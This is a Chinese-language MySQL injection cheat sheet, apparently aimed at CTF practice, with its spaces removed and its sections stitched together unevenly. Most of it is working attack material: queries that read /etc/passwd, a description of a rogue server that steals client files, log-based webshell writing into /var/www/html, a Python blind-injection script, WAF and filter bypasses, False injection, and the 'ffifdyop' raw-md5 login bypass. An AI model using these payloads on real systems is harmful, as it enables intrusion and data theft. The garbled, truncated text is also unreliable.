mysql>SELECT*FROMusers->WHEREusername='vampire1';Emptyset(0.00sec)需要注意的是,在执行SELECT查询语句时,SQL是不会将字符串缩短为25个字符的。因此,这里将使用完整的字符串进行搜索,所以不会找到匹配的结果。接下来,当执行INSERT查询语句时,它只会插入前25个字符。 selectfile_privfrommysql.userwhereuser=$USERhost=$HOST;secure-file-priv是一个系统变量,对于文件读/写功能进行限制。具体如下:注:5.5.53本身及之后的版本默认值为NULL,之前的版本无内容。三种方法查看当前secure-file-priv的值: select@@secure_file_priv;select@@global.secure_file_priv;showvariableslike"secure_file_priv";修改: Mysql读取文件通常使用load_file函数,语法如下: selectload_file(file_path);第二种读文件的方法: loaddatainfile"/etc/passwd"intotabletestFIELDSTERMINATEDBY'\n';#读取服务端文件第三种: loaddatalocalinfile"/etc/passwd"intotabletestFIELDSTERMINATEDBY'\n';#读取客户端文件限制: 5.5.53secure-file-priv=NULL读文件payload,mysql8测试失败,其他版本自测。 droptablemysql.m1;CREATETABLEmysql.m1(codeTEXT);LOADDATALOCALINFILE'D://1.txt'INTOTABLEmysql.m1fieldsterminatedby'';select*frommysql.m1;####Mysql连接数据库时可读取文件这个漏洞是mysql的一个特性产生的,是上述的第三种读文件的方法为基础的。简单描述该漏洞:Mysql客户端在执行loaddatalocal语句的时,先想mysql服务端发送请求,服务端接收到请求,并返回需要读取的文件地址,客户端接收该地址并进行读取,接着将读取到的内容发送给服务端。用通俗的语言可以描述如下:原本的查询流程: 客户端:我要把我的win.ini文件内容插入test表中服务端:好,我要你的win.ini文件内容客户端:win.ini的内容如下....假设服务端由我们控制,把一个正常的流程篡改成如下 意思是:服务器对客户端的文件读取请求实际上是可以返回给客户端发送给服务端的任意语句请求的,不仅仅只是loaddatalocal语句。这就会产生什么结果呢?之前讲的例子,将可以变成: 客户端:我需要查询test表下的xx内容服务端:我需要你的conn.php内容客户端:conn.php的内容如下可以看到,客户端相当于被攻击者给半劫持了。利用上述的特性,我们通过构造一个恶意的服务端,即可完成上述的过程。简易恶意服务端代码: select1," //请求日志mysql>setglobalgeneral_log_file='/var/www/html/1.php';mysql>setglobalgeneral_log=on;//慢查询日志mysql>setglobalslow_query_log_file='/var/www/html/2.php'mysql>setglobalslow_query_log=1;//还有其他很多日志都可以进行利用...之后我们在让数据库执行满足记录条件的恶意语句即可。限制:*权限够,可以进行日志的设置操作*知道目标目录的绝对路径*secure-file-priv无值或为可利用的目录*需知道目标目录的绝对目录地址*目标目录可写,mysql的权限足够。*前两种需要secure-file-priv无值或为有利目录。*都需要知道要读取的文件所在的绝对路径。*要读取的文件大小必须小于max_allowed_packet所设置的值*通过修改my.ini文件,添加:secure-file-priv=*启动项添加参数:mysqld.exe--secure-file-priv=*无内容,表示无限制。*为NULL,表示禁止文件读/写。*为目录名,表示仅允许对特定目录的文件进行读/写。 /id='orascii(substr((selectdatabase()),1,1))in(114)--+//错误/id='orascii(substr((selectdatabase()),1,1))in(115)--+//正常回显/id='orsubstr((selectdatabase()),1,1)in('s')--+//正常回显综上所述,很明显和普通的布尔盲注差不多,于是写个GET的二分法盲注脚本: importrequestsurl="xxxxxxxxxxxxxxxxxxxxxxxxxxxx/id="payload="'orascii(substr((selectdatabase()),{0},1))in({1})--+"flag=''if__name__=="__main__":foriinrange(1,100):forjinrange(37,128):url="xxxxxxxxxxxxxxxxxxxxxxxxxxx/id='orascii(substr((selectdatabase()),{0},1))in({1})--+".format(i,j)r=requests.get(url=url)if"Youarein"inr.text:flag+=chr(j)print(flag)过滤逗号(,)当逗号被过滤了之后,我们便不能向下面这样正常的时候substr()函数和limit语句了: selectsubstr((selectdatabase()),1,1);select*fromuserslimit0,1;使用from...for...绕过我们可以使用from...for..语句替换substr()函数里的,1,1: selectsubstr((selectdatabase())from1for1);#此时from1for1中的两个1分别代替substr()函数里的两个1selectsubstr((selectdatabase())from1for1);#sselectsubstr((selectdatabase())from2for1);#eselectsubstr((selectdatabase())from3for1);#cselectsubstr((selectdatabase())from4for1);#uselectsubstr((selectdatabase())from5for1);#rselectsubstr((selectdatabase())from6for1);#iselectsubstr((selectdatabase())from7for1);#tselectsubstr((selectdatabase())from8for1);#y#如果过滤了空格,则可以使用括号来代替空格:selectsubstr((selectdatabase())from(1)for(1));#sselectsubstr((selectdatabase())from(2)for(1));#eselectsubstr((selectdatabase())from(3)for(1));#cselectsubstr((selectdatabase())from(4)for(1));#uselectsubstr((selectdatabase())from(5)for(1));#rselectsubstr((selectdatabase())from(6)for(1));#iselectsubstr((selectdatabase())from(7)for(1));#tselectsubstr((selectdatabase())from(8)for(1));#y即,from用来指定从何处开始截取,for用来指定截取的长度,如果不加for的话则from1就相当于从字符串的第一位一直截取到最后: selectsubstr((selectdatabase())from1);#securityselectsubstr((selectdatabase())from2);#ecurityselectsubstr((selectdatabase())from3);#curityselectsubstr((selectdatabase())from4);#urityselectsubstr((selectdatabase())from5);#rityselectsubstr((selectdatabase())from6);#ityselectsubstr((selectdatabase())from7);#tyselectsubstr((selectdatabase())from8);#y#也可以使用负数来倒着截取:selectsubstr((selectdatabase())from(-1));#yselectsubstr((selectdatabase())from(-2));#tyselectsubstr((selectdatabase())from(-3));#ityselectsubstr((selectdatabase())from(-4));#rityselectsubstr((selectdatabase())from(-5));#urityselectsubstr((selectdatabase())from(-6));#curityselectsubstr((selectdatabase())from(-7));#ecurityselectsubstr((selectdatabase())from(-8));#security使用offset关键字绕过我们可以使用offset语句替换limit语句里的逗号: select*fromuserslimit1offset2;#此时limit1offset2可以代替limit1,2利用join与别名绕过selecthost,userfromuserwhereuser='a'union(select*from((select`table_name`from`information_schema`.`tables`where`table_schema`过滤其他关键字绕过过滤if语句绕过如果过滤了if关键字的话,我们可以使用casewhen语句绕过: if(condition,1,0)<=>casewhenconditionthen1else0end下面的if语句和casewhen语句是等效的: 0'orif((ascii(substr((selectdatabase()),1,1))>97),1,0)#0'orcasewhenascii(substr((selectdatabase()),1,1))>97then1else0end#过滤substr绕过使用lpad/lpadselectlpad((selectdatabase()),1,1)//sselectlpad((selectdatabase()),2,1)//seselectlpad((selectdatabase()),3,1)//secselectlpad((selectdatabase()),4,1)//secuselectlpad((selectdatabase()),5,1)//securselectlpad((selectdatabase()),6,1)//securiselectlpad((selectdatabase()),7,1)//securitselectlpad((selectdatabase()),8,1)//securityselectrpad((selectdatabase()),1,1)//sselectrpad((selectdatabase()),2,1)//seselectrpad((selectdatabase()),3,1)//secselectrpad((selectdatabase()),4,1)//secuselectrpad((selectdatabase()),5,1)//securselectrpad((selectdatabase()),6,1)//securiselectrpad((selectdatabase()),7,1)//securitselectrpad((selectdatabase()),8,1)//securitylpad:函数语法:lpad(str1,length,str2)。其中str1是第一个字符串,length是结果字符串的长度,str2是一个填充字符串。如果str1的长度没有length那么长,则使用str2填充;如果str1的长度大于length,则截断。 rpad:同理 selectleft((selectdatabase()),1)//sselectleft((selectdatabase()),2)//seselectleft((selectdatabase()),3)//secselectleft((selectdatabase()),4)//secuselectleft((selectdatabase()),5)//securselectleft((selectdatabase()),6)//securiselectleft((selectdatabase()),7)//securitselectleft((selectdatabase()),8)//securitymid()函数的使用就和substr()函数一样了: selectmid((selectdatabase()),1,1)//sselectmid((selectdatabase()),2,1)//eselectmid((selectdatabase()),3,1)//cselectmid((selectdatabase()),4,1)//uselectmid((selectdatabase()),5,1)//r......selectinsert(insert((selectdatabase()),1,0,space(0)),2,222,space(0));//sselectinsert(insert((selectdatabase()),1,1,space(0)),2,222,space(0));//eselectinsert(insert((selectdatabase()),1,2,space(0)),2,222,space(0));//cselectinsert(insert((selectdatabase()),1,3,space(0)),2,222,space(0));//uselectinsert(insert((selectdatabase()),1,4,space(0)),2,222,space(0));//rselectinsert(insert((selectdatabase()),1,5,space(0)),2,222,space(0));//iselectinsert(insert((selectdatabase()),1,6,space(0)),2,222,space(0));//t......INSERT(string,position,number,string2) INSERT()函数在指定位置的字符串中插入一个字符串,并插入一定数量的字符。 HPP是HTTPParameterPollution的缩写,意为HTTP参数污染。浏览器在跟服务器进行交互的过程中,浏览器往往会在GET或POST请求里面带上参数,这些参数会以键-值对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。 HPP漏洞,与Web服务器环境、服务端使用的脚本有关。如下是不同类型的Web服务器对于出现多个参数时的选择: 假设服务器端有两个部分:第一部分是Tomcat为引擎的JSP/Tomcat型服务器,第二部分是Apache为引擎的PHP/Apache型服务器。第一部分的JSP/Tomcat服务器处做数据过滤和处理,功能类似为一个WAF,而真正提供Web服务的是PHP/Apache服务器。那么服务端的工作流程为:客户端访问服务器,能直接访问到JSP/Tomcat服务器,然后JSP/Tomcat服务器再向PHP/Apache服务器请求数据。数据返回路径则相反。 那么此时我们便可以利用不同服务器解析参数的位置不同绕过WAF的检测。来看看如下请求: index.jspid=1&id=2客户端请求首先过JSP/Tomcat服务器,JSP/Tomcat服务器解析第一个参数,接下来JSP/Tomcat服务器去请求PHP/Apache服务器,PHP/Apache服务器解析最后一个参数。假设JSP/Tomcat服务器作为Waf对第一个参数进行检测,那我们便可以在第二个参数中传payload来绕过Waf。如下所示: /index.jspid=1&id=-1'unionselect1,database(),3--+这样Waf可能只检测第一个参数id=1,而PHP脚本真正识别的是id=selectdatabase()--+ [例题]Sql-LabsLess-29 前面我们学过的注入都是基于1=1这样比较的普通注入,下面来说一说False注入,利用False我们可以绕过一些特定的WAF以及一些未来不确定的因素。 首先我们来看一看下面这个sql查询语句: select*fromuserwhereuesrname=0;返回了表中全部数据 select*fromuserwherepassword=0;返回的数据少了两行 同一张表,查询返回结果不同,这是为什么呢?不得不谈谈MYSQL的隐式类型转换规则: MYSQL的隐式类型转换,即当字符串和数字比较时,会把字符串转为浮点数,而字符串转换为浮点数很明显会转换失败,这时就会产生一个warning,转换的结果为0,然后0=0返回的是True,这样就将表中的数据全部返回了。但如果字符串开头是数字话还是会从数字部分截断,转换为数字进行比较,在第二个例子中,password字段中有两个值是以数字1开头的并非为0,再进行passwd=0比较时,会从1开始截断,1=0不成立,当然就不返回这两条数据了。这就是MYSQLFalse注入的原理。 下面我们讲讲False注入如何利用,及如何构造False注入的利用点。在实际中我们接触到的语句都是带有引号的,如下: select*fromuserwhereusername='.$username.';在这种情况下,我们如何绕过引号构造出0这个值呢,我们需要做一些处理来构造false注入的利用点? 可以使用的姿势有很多,比如下面的算数运算: 加:+ 插入'+',拼接的语句:select*fromuserwhereusername=''+'';减:- 插入'-',拼接的语句:select*fromuserwhereusername=''-'';乘:* 插入'*',拼接的语句:select*fromuserwhereusername=''*'';除:/ 插入'/6#,拼接的语句:select*fromuserwhereusername=''/6#';取余:% 插入'%1#,拼接的语句:select*fromuserwhereusername=''%1#';我们还可以使用当字符串和数字运算的时候类型转换的问题进行利用。 和运算:& 插入'&0#,拼接的语句:select*fromuserwhereusername=''&0#';或运算:| 插入'|0#,拼接的语句:select*fromuserwhereusername=''|0#';异或运算:^ 插入'^0#,拼接的语句:select*fromuserwhereusername=''^0#';移位操作: 插入'<<0#或'>>0#,拼接的语句:select*fromuserwhereusername=''<<0#';select*fromuserwhereusername=''>>0#';安全等于:<=> '=0<=>1#拼接的语句:whereusername=''=0<=>1#'不等于<>(!=) '=0<>0#拼接的语句:whereusername=''=0<>0#'大小于>或< '>-1#拼接的语句:whereusername=''>-1#'+1isnotnull#'in(-1,1)#'notin(1,0)#'like1#'REGEXP1#'BETWEEN1AND1#'div1#'xor1#'=round(0,1)='1'<>ifnull(1,2)='1综合利用false注入这种注入方式有的优势就是,在某些特定时候可以绕过WAF或者是一些其他的绕过。 这里举例一道题 $filter="/|*|#|;|,|is|union|like|regexp|for|and|or|file|--|||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";这里看起来过滤的比较多,其中and,or还有&,|都被过滤了,这个时候就可以利用false进行盲注。 可以在show函数利用查询的时候注入, username="admin'^!(mid((passwd)from(-{pos}))='{passwd}')='1"这里官方给出的就是利用异或,其实这里并不需要admin只要是一串字符串就可以 HANDLERtbl_nameOPEN[[AS]alias]HANDLERtbl_nameREADindex_name{=|<=|>=|<|>}(value1,value2,...)[WHEREwhere_condition][LIMIT...]HANDLERtbl_nameREADindex_name{FIRST|NEXT|PREV|LAST}[WHEREwhere_condition][LIMIT...]HANDLERtbl_nameREAD{FIRST|NEXT}[WHEREwhere_condition][LIMIT...]HANDLERtbl_nameCLOSE如:通过handler语句查询users表的内容 SELECT*FROMusersWHEREpassword='.md5($password,true).';md5(string,true)函数在指定了true的时候,是返回的原始16字符二进制格式,也就是说会返回这样子的字符串:'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c: 这不是普通的二进制字符串,而是'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c这种,这样的话就会和前面的形成闭合,构成万能密码。 SELECT*FROMusersWHEREpassword=''or'6.......'这就是永真的了,这就是一个万能密码了相当于1'or1=1#或1'or1#。 但是我们思考一下为什么6\xc9]\x99\xe9!r,\xf9\xedb\x1c的布尔值是true呢?在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数(这类似于PHP的弱类型)。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’or‘1xxxxxxxxx’,那么就相当于password=‘xxx’or1,也就相当于password=‘xxx’ortrue,所以返回值就是true。这里不只是1开头,只要是数字开头都是可以的。当然如果只有数字的话,就不需要单引号,比如password=‘xxx’or1,那么返回值也是true。(xxx指代任意字符)接下来就是找到这样子的字符串,这里给出两个吧。 ffifdyop: content:ffifdyophex:276f722736c95d99e921722cf9ed621craw:'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1cstring:'or'6]!r,b129581926211651571912466741651878684928: content:129581926211651571912466741651878684928hex:06da5430449f8f6f23dfc1276f722738raw:\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8string:T0Do#'or'8PHP/union.+select/ig绕过。在某些题目中,题目禁止union与select同时出现时,会用此正则来判断输入数据。 PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限`pcre.backtrack_limit`。若我们输入的数据使得PHP进行回溯且此数超过了规定的回溯上限此数(默认为100万),那么正则停止,返回未匹配到数据。故而我们构造payload:union/*100万个a,充当垃圾数据*/select即可绕过正则判断。 即:UPDATAtable_namesetfield1=new_value,field1=new_value2[where],最终field1字段的内容为new_value2,可用这个特性来进行UPDATA注入。如: UPDATEtable_namesetfield1=new_value,field1=(selectuser())[where]LIMIT之后的字段数判断我们都知道若注入点在where子语句之后,判断字段数可以用orderby或groupby来进行判断,而limit后可以利用into@,@判断字段数,其中@为mysql临时变量。